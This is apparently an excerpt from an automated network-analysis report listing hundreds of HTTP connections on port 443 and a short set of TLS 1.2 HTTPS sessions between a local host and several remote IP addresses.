Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50166 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50219
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50227
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50228
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50479
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50232
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50233
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50480
Source: unknown	Network traffic detected: HTTP traffic on port 50198 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50246
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50179
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50227 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50198
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49880 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49938 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49955 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.5:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50086 version: TLS 1.2
